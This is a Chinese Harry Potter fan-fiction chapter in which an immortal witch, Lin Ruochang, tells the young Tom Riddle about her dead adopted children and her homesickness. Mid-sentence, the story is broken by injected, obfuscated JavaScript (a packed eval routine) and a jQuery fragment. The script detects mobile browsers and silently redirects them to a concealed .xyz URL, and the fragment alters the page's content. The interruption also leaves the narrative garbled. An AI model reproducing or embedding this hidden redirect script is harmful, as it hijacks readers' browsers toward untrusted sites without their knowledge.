那家伙实在太奇怪了。汤姆时常想，他在孤儿院里已经算得上怪胎了，但林若常分明才是更诡异的那个。
大雪天，林若常又出去了，还带着一束魔药养的向日葵。
她早上天微微亮就出去的，很晚才回来。
“你去哪里了？”汤姆问，顺便把自己伪装成一个彻底敞开心扉并且害怕失去的孩子，“你也要把我退回孤儿院，像原来那些领养人一样？”
“别装可怜了小子，分明你前几天还有点持宠而娇的架势。”
林若常嘴角微不可查的抽搐了一下，比格大王真是好演技，可惜都是她们小时候冲父母求饶时玩剩下的。
“去扫墓了。”
林若常依旧板着脸，看不出悲喜，“算是你姐姐，你刚来时床头那个小画框画的是她的照片，姑且算是你的姐姐，苏珊娜。”
汤姆愣住了。姐姐？那个画框里穿着古怪麻瓜裙子、笑容灿烂的红头发小女孩？他几乎没注意过那个小相框，只以为是这老房子里某件无关紧要的陈旧摆设。
“她……”汤姆下意识地问，但立刻闭上了嘴。他意识到，问一个躺在墓地里的人“怎么了”是件愚蠢的事。
“死了。”林若常替他说完了，语气平淡得像在说天气，“很久以前的事了。战乱，站错了队，没来得及救。”
她走到壁炉边，伸出手烤火，苍白的指尖微微发红。“我收养过不少孩子，苏珊娜是其中一个。活到成年的不多，善终的更少。你是最新的一个。”
她说得如此直接，甚至带着一种近乎残酷的统计感，仿佛在陈述某种自然规律的死亡率。汤姆感到一阵寒意，不是来自窗外的大雪，而是来自林若常这种平静的叙述方式。她谈论死亡，就像谈论厨房里打碎的盘子。
房间里沉默下来，只有炉火噼啪作响。汤姆看着林若常的背影，瘦削，挺直，却笼罩着一层极其厚重的、无形的孤寂。一千多年……她到底目睹了多少次这样的离别？
他忽然想起之前那个下雪天，她看着炉火时恍惚的神情。那时他不明白，现在似乎触碰到了那冰冷的一角。
鬼使神差地，汤姆又问出了那个他曾经问过，但似乎此刻才有了不同分量的问题：“林……你想家吗？”
这次，他指的显然不是这个堆满了魔法书籍和陈旧回忆的老房子。
林若常烤火的动作停顿了一下。她没有回头，良久，才轻轻地、几乎听不见地笑了一声，那笑声里带着无尽的疲惫和一种难以形容的涩意。
“想啊。怎么会不想。”她承认了，声音很轻，“还有这个问题你上个月已经问过我一次了。”
她转过身，脸上依旧没什么表情，但眼神有些空茫，仿佛透过汤姆，看到了极其遥远的地方。
“那个家……其实也没什么好的。”她开始说，语气是一种努力维持的平静，“房子很小，冬天还算暖和，夏天闷热。父母……嗯，很普通，有点望女成凤，有点焦虑，会把他们的期望像石头一样压在你身上，还觉得是为你好。”
她顿了顿，像是在回忆具体的细节，眉头微微蹙起，又很快松开。
“我知道你想说我有点怨天尤人，但我记得我也告诉过你，随你怎么想，我本身就是个庸才。”
“我妈总嫌我不够白净文静，不像个‘女孩样’。我爸总觉得我不够聪明努力，比不上‘别人家的孩子’。吃饭的时候，有时候安静得可怕，只能听到碗筷碰撞的声音，还有那种……无形的、让人喘不过气的压力。”
她说着这些，嘴角甚至试图向上弯一下，做出一个“都过去了”的表情，但怎么看都显得异常僵硬和苦涩。
“我也当然知道他们爱我，我又不是白眼狼。只是那里对我这个没能力掌握自己人生的人实在是温馨又窒息，就像一件湿毛衣，干的时候能保暖却扎人，湿的时候沉重又冻人。”
“嗯，就是这样，没什么特别的。”她轻声说，目光垂落，看着自己苍白的手指，“有时候我甚至挺庆幸我回不去的。”
她的声音很平静，没有哽咽，没有激动，但每一个字都像浸满了千年风雪化不开的冰凉和怅惘。
汤姆沉默着。他无法想象那是怎样一种孤寂——被时间放逐，被空间隔绝，连回忆的真实性都变得可疑。
“苏珊娜他们……”汤姆犹豫着开口，不知道该如何称呼那些早已逝去的、被林若常收养过的孩子们。
“他们是我尝试给自己找的‘锚点’。”林若常接过了他的话，语气恢复了些许平时的冷静，“试图在这条看不到尽头的河流里，抓住一点什么，证明自己还活着，还有……一点点联结。”
“但河流太急了，时间太长了。”她轻轻摇头，“锚会锈蚀，绳索会断裂。最后，还是只剩下我一个人。”
她说完，房间里再次陷入沉寂。那种寂静厚重得能压垮人的神经。
过了好一会儿，林若常似乎终于从那种恍惚的状态中抽离出来。她深吸了一口气，挺直了背脊，脸上那种空茫脆弱的神情迅速褪去，重新被惯常的淡漠覆盖，仿佛刚才那个流露出乡愁和疲惫的人只是汤姆的错觉。
她转身走向厨房，声音恢复了平时的调子，甚至带上了一点刻意的不耐烦：“好了，缅怀时间结束。你作业写完了吗？今晚我要检查《标准咒语二级》的所有手势分解。”
厨房里传来烧水壶的嗡鸣声，打破了客厅里几乎凝滞的沉重空气。林若常的身影消失在门后，只留下那句关于检查作业的、听起来无比“正常”的命令。
汤姆还站在原地，壁炉的火光在他脸上跳跃，映照出他复杂难辨的神情。
姐姐？锚点？锈蚀？断裂？湿毛衣？
林若常的话语像一块块冰冷的碎冰，砸进他原本只充斥着力量和野心的世界里，留下丝丝缕缕的寒意和一种前所未有的悲伤，或者说还有点奇怪的情绪，姑且称作林若常口中的爱？
他之前渴望永生，认为那意味着无限的力量和无尽的时间去达成目标。
但现在，他从林若常身上窥见的永生，却更像是一种无期徒刑，伴随着永恒的失去和无法愈合的磨损。
她强大，却也像一座被风雪侵蚀了千年的孤岛，看似稳固，内里却早已被孤独蛀空。
那句“最后，还是只剩下我一个人”轻飘飘的，却比任何咆哮都更有分量。
汤姆慢慢走到沙发边坐下，手指无意识地拂过沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466744|185482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发上略显陈旧的绒面。他第一次如此清晰地意识到，他的这位监护人，与其说是一个强大的巫师，不如说是一个挣扎了太久却无法靠岸的漂流者。她冷漠、古怪，也是对那些感性的东西态度最端正的。
厨房里，水壶的嗡鸣声停了。接着是杯碟轻微的碰撞声，以及林若常平静无波的声音传来：“要牛奶还是热水？”
汤姆愣了一下，才意识到她是在问自己。她似乎已经彻底切换回了“日常模式”。
“……牛奶。”他下意识地回答。
过了一会儿，林若常端着一杯热气腾腾的牛奶走出来，放在汤姆面前的茶几上，然后又回去端自己的那杯一如既往浓得像魔药的黑咖啡，。
她在汤姆对面的扶手椅里坐下，蜷缩起来，用双手捧着咖啡杯取暖，目光落在跳跃的炉火上，似乎又陷入了某种放空状态，但这次不再是之前的恍惚，而是她惯常的那种冷漠。
“第几页了？”她喝了一口咖啡，问道，语气就像刚才那段沉重的对话从未发生过。
汤姆收回思绪，拿起那本咒语书。“到第47页的修复咒。”
“嗯。”林若常应了一声，“修复咒的关键不在于回屋魔杖的姿势，魔杖只是个传导魔力的工具，而在于魔力输出的稳定性和对破损结构的‘理解’。你试着修复过东西吗？”
“没有。”汤姆老实回答。在孤儿院，东西坏了通常意味着丢弃或忍受，没有“修复”这个概念。
“明天可以试试。”林若常淡淡道，“从简单的开始。打碎的杯子，撕破的书页……体会一下将破碎的东西重新‘连接’起来的感觉。那需要耐心，和一点点……对‘完整’的执着。”
她说着这些话，眼神依旧看着火苗，仿佛只是在传授一个普通的魔法技巧。但汤姆却从中听出了一丝不同寻常的意味。连接、破碎、完整……这些词汇在今天晚上，似乎都蒙上了一层别样的色彩。
他端起那杯温热的牛奶，喝了一口。甜腻的味道暂时驱散了口腔里那股无形的苦涩。
客厅里只剩下炉火的噼啪声，和偶尔翻动书页的沙沙声。一种奇异的、并不算温馨但却格外真实的平静笼罩着这个老房子。
窗外，大雪依旧无声地下着，将这个有着古老灵魂和年轻魔王的小小世界，暂时与外界隔离开来。
汤姆一边看着咒语图解，一边用眼角余光观察着对面的林若常。她似乎完全沉浸在了自己的世界里，偶尔会极轻微地皱一下眉，仿佛在思考什么难题，又或者只是咖啡太苦。
他觉得也许林若常并不需要旁人的同情或理解——她可能早已习惯了这种状态，甚至将其视为某种自然的法则。她只是……就这样存在着，带着她千年的记忆、她的失去、她的庸常、以及她那套冰冷又诡异的逻辑，继续在这条看不到尽头的时间之河里漂流下去。
而他，汤姆·里德尔，恰好是她在这一站，顺手捞起来的、一个或许同样古怪的旅伴。
这个认知，让他感到一种莫名的平静，甚至是一丝……扭曲的归属感？
至少在这里，在这个诡异的、充斥着失败松饼、抽象派毛衣和沉重过去的房子里，他的“怪”，似乎显得没那么突兀了。